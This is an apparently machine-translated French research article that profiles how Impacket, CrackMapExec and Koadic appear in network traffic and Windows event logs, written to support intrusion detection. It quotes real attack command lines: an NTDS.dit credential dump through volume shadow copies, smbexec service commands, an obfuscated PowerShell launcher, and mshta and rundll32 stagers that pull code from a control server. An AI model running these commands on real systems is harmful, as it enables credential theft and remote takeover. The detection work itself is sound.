
Le nombre d'attaques dans le secteur des entreprises augmente chaque année: par exemple,
en 2017, 13% d'incidents uniques de plus ont été enregistrés qu'en 2016, et à la fin de 2018,
27% d'incidents de plus avaient été enregistrés par rapport à la période précédente. Y compris ceux où l'outil de travail principal est le système d'exploitation Windows. En 2017-2018, les
groupes APT Dragonfly, APT28,
APT MuddyWater ont attaqué des organisations gouvernementales et militaires en Europe, en Amérique du Nord et en Arabie saoudite. Et ils ont utilisé trois outils pour cela -
Impacket ,
CrackMapExec et
Koadic . Leur code source est ouvert et disponible sur GitHub.
Il convient de noter que ces outils ne sont pas utilisés pour la pénétration initiale, mais pour le développement d'une attaque au sein de l'infrastructure. Les attaquants les utilisent à différents stades de l'attaque, après avoir surmonté le périmètre. Ceci, soit dit en passant, est difficile à détecter et souvent uniquement à l'aide de technologies pour
identifier les traces de compromission dans le trafic réseau ou d'outils qui peuvent
détecter les actions actives d'un attaquant après qu'il a pénétré dans l'infrastructure . Les outils offrent de nombreuses fonctions - du transfert de fichiers à l'interaction avec le registre et l'exécution de commandes sur une machine distante. Nous avons mené une étude de ces outils pour déterminer leur activité réseau.
Ce que nous devions faire:
- Comprenez comment fonctionnent les outils de piratage . Découvrez ce dont les attaquants ont besoin pour fonctionner et quelles technologies ils peuvent utiliser.
- Trouvez ce qui n'est pas détecté par les outils de sécurité des informations dans les premières étapes d'une attaque . La phase de renseignement peut être ignorée, soit parce que l'attaquant est un attaquant interne, soit parce que l'attaquant exploite une lacune de l'infrastructure qui n'était pas connue auparavant. Il y a une opportunité de restaurer toute la chaîne de ses actions, d'où le désir de détecter de nouveaux mouvements.
- Éliminez les fausses alarmes des outils de détection d'intrusion . Nous ne devons pas oublier que lors de la détection de certaines actions sur la seule base de l'intelligence, des erreurs fréquentes sont possibles. Habituellement, dans l'infrastructure, il existe un nombre suffisant de moyens, indiscernables du légitime à première vue, pour obtenir des informations.
Que donnent ces outils aux attaquants? S'il s'agit d'Impacket, les attaquants obtiennent une grande bibliothèque de modules qui peuvent être utilisés à différents stades de l'attaque après la pénétration. De nombreux outils utilisent des modules Impacket en eux-mêmes - par exemple, Metasploit. Il a dcomexec et wmiexec pour l'exécution de commandes à distance, secretsdump pour récupérer les comptes de la mémoire qui sont ajoutés à partir d'Impacket. En conséquence, la détection correcte de l'activité d'une telle bibliothèque sera également assurée par la détection de dérivés.
À propos de CrackMapExec (ou simplement CME), les créateurs ont par hasard écrit "Powered by Impacket". En outre, CME a des fonctionnalités prêtes à l'emploi pour les scénarios populaires: il s'agit de Mimikatz pour recevoir les mots de passe ou leurs hachages, et la mise en œuvre de Meterpreter ou de l'agent Empire pour une exécution à distance, et Bloodhound à bord.
Le troisième outil que nous avons sélectionné est Koadic. Il est assez récent, a été présenté à la conférence internationale des pirates informatiques DEFCON 25 en 2017 et a une approche non standard: travailler via HTTP, Java Script et Microsoft Visual Basic Script (VBS). Cette approche s'appelle vivre hors de la terre: l'outil utilise un ensemble de dépendances et de bibliothèques intégrées à Windows. Les créateurs l'appellent COM Command Control ou C3.
IMPACKET
La fonctionnalité d'Impacket est très large, à partir de la reconnaissance dans AD et de la collecte de données à partir de serveurs MS SQL internes, se terminant par des techniques pour obtenir des informations d'identification: il s'agit d'une attaque de relais SMB et de la réception d'un fichier ntds.dit contenant les hachages de mot de passe utilisateur à partir d'un contrôleur de domaine. Impacket exécute également à distance des commandes à l'aide de quatre méthodes différentes: via WMI, un service de gestion du planificateur Windows, DCOM et SMB, et pour cela, il a besoin d'informations d'identification.
Secretsdump
Regardons secretsdump. Il s'agit d'un module dont le but peut être à la fois des machines utilisateur et des contrôleurs de domaine. En l'utilisant, vous pouvez obtenir des copies des zones de mémoire LSA, SAM, SECURITY, NTDS.dit, afin qu'elles puissent être vues à différents stades de l'attaque. La première étape du fonctionnement du module est l'authentification via SMB, qui nécessite soit un mot de passe utilisateur, soit son hachage pour mener automatiquement l'attaque Pass the Hash. Ensuite, une demande pour ouvrir l'accès à Service Control Manager (SCM) et accéder au registre à l'aide du protocole winreg, à l'aide de laquelle un attaquant peut trouver les données des branches qui l'intéressent et obtenir des résultats via SMB.
Dans la fig. 1 nous voyons comment exactement lors de l'utilisation du protocole winreg l'accès est obtenu par la clé de registre avec LSA. Pour ce faire, utilisez la commande DCERPC avec l'opcode 15 - OpenKey.
Fig. 1. Ouverture de la clé de registre à l'aide du protocole winregDe plus, lorsque l'accès à la clé est obtenu, les valeurs sont enregistrées à l'aide de la commande SaveKey avec l'opcode 20. Impacket rend cela très spécifique. Il enregistre les valeurs dans un fichier dont le nom est une chaîne de 8 caractères aléatoires avec l'ajout de .tmp. En outre, un déchargement supplémentaire de ce fichier se produit via SMB à partir du répertoire System32 (Fig. 2).
Fig. 2. Schéma d'obtention d'une clé de registre à partir d'une machine distanteIl s'avère que vous pouvez détecter une telle activité sur le réseau en interrogeant certaines branches de registre en utilisant le protocole winreg, des noms spécifiques, des commandes et leur ordre.
Ce module laisse également des traces dans le journal des événements Windows, grâce auquel il est facilement détecté. Par exemple, à la suite d'une commande
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC
dans le journal de Windows Server 2016, nous verrons la séquence d'événements clé suivante:
1. 4624 - Ouverture de session à distance.
2. 5145 - vérification des droits d'accès au service winreg distant.
3. 5145 - vérification des autorisations de fichier dans le répertoire System32. Le fichier a le nom aléatoire mentionné ci-dessus.
4. 4688 - création du processus cmd.exe qui lance vssadmin:
“C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
5. 4688 - création d'un processus avec la commande:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
6. 4688 - création d'un processus avec la commande:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit %SYSTEMROOT%\Temp\rmumAfcn.tmp ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
7. 4688 - création d'un processus avec la commande:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
Smbexec
Comme de nombreux outils de post-exploitation, Impacket possède des modules pour l'exécution de commandes à distance. Nous nous concentrerons sur smbexec, qui fournit un shell interactif sur une machine distante. Ce module nécessite également une authentification SMB avec un mot de passe ou son hachage. Dans la fig. 3 nous voyons un exemple de la façon dont un tel outil fonctionne, dans ce cas, il s'agit d'une console d'administration locale.
Fig. 3. Console interactive SmbexecLa première étape de smbexec après l'authentification est d'ouvrir le SCM avec la commande OpenSCManagerW (15). La demande est à noter: le champ MachineName y est défini sur DUMMY.
Fig. 4. Demande d'ouverture de Service Control ManagerEnsuite, un service est créé à l'aide de la commande CreateServiceW (12). Dans le cas de smbexec, on retrouve à chaque fois la même logique de team building. Dans la fig. 5 vert indique les paramètres invariables de la commande, jaune - ce que l'attaquant peut changer. Il est facile de remarquer que le nom du fichier exécutable, son répertoire et le fichier de sortie peuvent être modifiés, mais le reste peut être changé beaucoup plus difficile sans violer la logique du module Impacket.
Fig. 5. Demande de création d'un service à l'aide de Service Control ManagerSmbexec laisse également des traces claires dans le journal des événements Windows. Dans le journal Windows Server 2016 pour le shell interactif avec la commande ipconfig, nous verrons la séquence de touches suivante des événements:
1. 4697 - installation du service sur la machine de la victime:
%COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
2. 4688 - création du processus cmd.exe avec les arguments du paragraphe 1.
3. 5145 - vérification des autorisations sur le fichier __output dans le répertoire C $.
4. 4697 - installation du service sur la machine de la victime.
%COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
5. 4688 - création du processus cmd.exe avec les arguments du paragraphe 4.
6. 5145 - vérification des droits d'accès au fichier __output dans le répertoire C $.
Impacket est le fondement du développement d'outils d'attaque. Il prend en charge presque tous les protocoles de l'infrastructure Windows et a en même temps ses propres caractéristiques. Voici les demandes winreg spécifiques et l'utilisation de l'API SCM avec la formation caractéristique des commandes, le format de nom de fichier et le partage SMB SYSTEM32.
CRACKMAPEXEC
L'outil CME est principalement conçu pour automatiser les actions de routine qu'un attaquant doit effectuer pour avancer au sein du réseau. Il vous permet de travailler en collaboration avec le célèbre agent Empire et Meterpreter. Pour exécuter des commandes secrètement, le CME peut les masquer. À l'aide de Bloodhound (un outil d'intelligence distinct), un attaquant peut automatiser la recherche d'une session d'administrateur de domaine actif.
Bloodhound
Bloodhound en tant qu'outil indépendant permet une intelligence avancée au sein du réseau. Il collecte des données sur les utilisateurs, les machines, les groupes, les sessions et se présente sous la forme d'un script sur PowerShell ou d'un fichier binaire. Les protocoles LDAP ou SMB sont utilisés pour collecter des informations. Le module d'intégration CME vous permet de télécharger Bloodhound sur la machine de la victime, d'exécuter et de recevoir les données collectées après l'exécution, automatisant ainsi les actions dans le système et les rendant moins visibles. Le shell graphique Bloodhound présente les données collectées sous forme de graphiques, ce qui vous permet de trouver le chemin le plus court de la machine attaquante à l'administrateur de domaine.
Fig. 6. Interface BloodhoundPour s'exécuter sur la machine de la victime, le module crée une tâche en utilisant ATSVC et SMB. ATSVC est une interface pour travailler avec le Planificateur de tâches Windows. CME utilise sa fonction NetrJobAdd (1) pour créer des tâches sur le réseau. Un exemple de ce que le module CME envoie est illustré à la fig. 7: Ceci est un appel à cmd.exe et le code obscurci comme arguments au format XML.
Fig.7. Création d'une tâche via CMEUne fois la tâche terminée, la machine de la victime lance Bloodhound elle-même, et cela se voit dans la circulation. Le module est caractérisé par des requêtes LDAP pour la réception de groupes standard, une liste de toutes les machines et des utilisateurs du domaine, la réception d'informations sur les sessions utilisateur actives via la requête SRVSVC NetSessEnum.
Fig. 8. Obtenir une liste des sessions actives via SMBDe plus, le lancement de Bloodhound sur la machine de la victime avec l'audit activé est accompagné d'un événement avec l'ID 4688 (création de processus) et le nom de processus
«C:\Windows\System32\cmd.exe»
. Il convient de noter les arguments de la ligne de commande:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "
Enum_avproducts
Du point de vue de la fonctionnalité et de l'implémentation, le module enum_avproducts est très intéressant. WMI permet d'utiliser le langage de requête WQL pour recevoir des données de divers objets Windows, ce qui est essentiellement ce que ce module CME utilise. Il génère des demandes aux classes AntiSpywareProduct et AntiMirusProduct concernant les protections installées sur la machine de la victime. Afin d'obtenir les données nécessaires, le module se connecte à l'espace de noms root \ SecurityCenter2, puis génère une requête WQL et reçoit une réponse. Dans la fig. La figure 9 montre le contenu de ces demandes et réponses. Dans notre exemple, Windows Defender a été trouvé.
Fig. 9. Activité réseau du module enum_avproductsSouvent, l'audit WMI (Trace WMI-Activity), dans les événements dont vous pouvez trouver des informations utiles sur les requêtes WQL, peut être désactivé. Mais s'il est activé, si le script enum_avproducts est exécuté, l'événement avec l'ID 11 sera enregistré. Il contiendra le nom de l'utilisateur qui a envoyé la demande et le nom dans l'espace de noms root \ SecurityCenter2.
Chacun des modules CME a révélé ses propres artefacts, qu'il s'agisse de requêtes WQL spécifiques ou de la création d'un certain type de tâche dans le planificateur de tâches avec obscurcissement et de l'activité typique de Bloodhound dans LDAP et SMB.
Koadic
Une caractéristique distinctive de Koadic est l'utilisation d'interpréteurs Windows intégrés JavaScript et VBScript. En ce sens, il suit la tendance de vivre hors de la terre - c'est-à-dire qu'il n'a pas de dépendances externes et utilise des outils Windows standard. Il s'agit d'un outil de commande et de contrôle complet (CnC), car après l'infection, un «implant» est installé sur la machine, ce qui permet de la contrôler. Une telle machine, dans la terminologie koadique, est appelée «zombie». Avec un manque de privilèges pour un travail à part entière du côté de la victime, Koadic a la capacité de les élever en utilisant la technique de contournement UAC.
Fig. 10. Command Shell KoadicLa victime doit initier la communication avec le serveur Command & Control lui-même. Pour ce faire, elle doit demander un URI pré-préparé et obtenir le corps Koadic principal en utilisant l'un des stagers. Dans la fig. 11 montre un exemple pour le stager mshta.
Fig. 11. Initialisation d'une session avec un serveur CnCEn utilisant la variable de réponse WS, il devient clair que l'exécution se produit via WScript.Shell, et les variables STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE contiennent des informations clés sur les paramètres de la session en cours. Il s'agit de la première paire requête-réponse dans une connexion HTTP à un serveur CnC. Les demandes ultérieures sont directement liées à la fonctionnalité des modules appelés (implants). Tous les modules Koadic fonctionnent uniquement avec une session active avec CnC.
Mimikatz
Tout comme CME fonctionne avec Bloodhound, Koadic travaille avec Mimikatz en tant que programme autonome et a plusieurs façons de l'exécuter. Vous trouverez ci-dessous une paire requête-réponse pour le chargement d'un implant Mimikatz.
Fig. 12. Transfert de Mimikatz à KoadicVous pouvez remarquer comment le format URI dans la demande a changé. Il est apparu la valeur de la variable csrf, qui est responsable du module sélectionné. Ne faites pas attention à son nom; nous savons tous que le CSRF est généralement compris différemment. En réponse, le même corps principal de Koadic est entré, dans lequel le code associé à Mimikatz a été ajouté. Il est assez grand, alors considérez les points clés. Devant nous se trouve la bibliothèque Mimikatz codée en base64, la classe .NET sérialisée qui l'injectera et les arguments pour exécuter Mimikatz. Le résultat de l'exécution est transmis sur le réseau en clair.
Fig. 13. Le résultat de l'exécution de Mimikatz sur une machine distanteExec_cmd
Koadic possède également des modules qui peuvent exécuter des commandes à distance. Ici, nous verrons la même méthode de génération d'URI et les variables familières sid et csrf. Dans le cas du module exec_cmd, du code est ajouté au corps capable d'exécuter des commandes shell. Le code suivant est affiché dans la réponse HTTP du serveur CnC.
Fig. 14. Le code de l'implant exec_cmdLa variable GAWTUUGCFI avec l'attribut WS familier est requise pour l'exécution de code. Avec son aide, l'implant appelle le shell, traitant deux branches de code - shell.exec avec le retour du flux de données de sortie et shell.run sans retour.
Koadic n'est pas un outil typique, mais il a ses propres artefacts par lesquels il peut être trouvé dans le trafic légitime:
- formation spéciale des requêtes HTTP,
- en utilisant l'API winHttpRequests,
- la création d'un objet WScript.Shell via ActiveXObject,
- grand corps exécutable.
La connexion initiale lance le stager, il devient donc possible de détecter son activité via les événements Windows. Pour mshta, il s'agit de l'événement 4688, qui parle de la création d'un processus avec un attribut de lancement:
C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6
Pendant l'exécution de Koadic, vous pouvez voir d'autres événements 4688 avec des attributs qui le caractérisent parfaitement:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;\..\..\..\mshtml,RunHTMLApplication rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;\..\..\..\mshtml,RunHTMLApplication "C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\Users\user02\AppData\Local\Temp\6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1 "C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\user02\AppData\Local\Temp\721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1
Conclusions
La tendance à vivre hors de la terre gagne en popularité parmi les intrus. Ils utilisent les outils et mécanismes Windows intégrés pour leurs besoins. Nous voyons comment les outils populaires Koadic, CrackMapExec et Impacket qui suivent ce principe se retrouvent de plus en plus dans les rapports APT. Le nombre de fourches sur GitHub pour ces outils augmente également, de nouvelles apparaissent (il y en a déjà environ un millier). La tendance gagne en popularité en raison de sa simplicité: les attaquants n'ont pas besoin d'outils tiers, ils sont déjà sur les machines des victimes et aident à contourner les outils de protection. Nous nous concentrons sur l'étude de la connectivité réseau: chaque outil décrit ci-dessus laisse sa marque sur le trafic réseau; une étude détaillée d'entre eux nous a permis d'apprendre à notre produit
PT Network Attack Discovery à les détecter, ce qui permet au final d'enquêter sur toute la chaîne des cyberincidents les impliquant.
Auteurs :
- Anton Tyurin, responsable des services experts, PT Expert Security Center, Positive Technologies
- Egor Podmokov, expert, PT Expert Security Center, Positive Technologies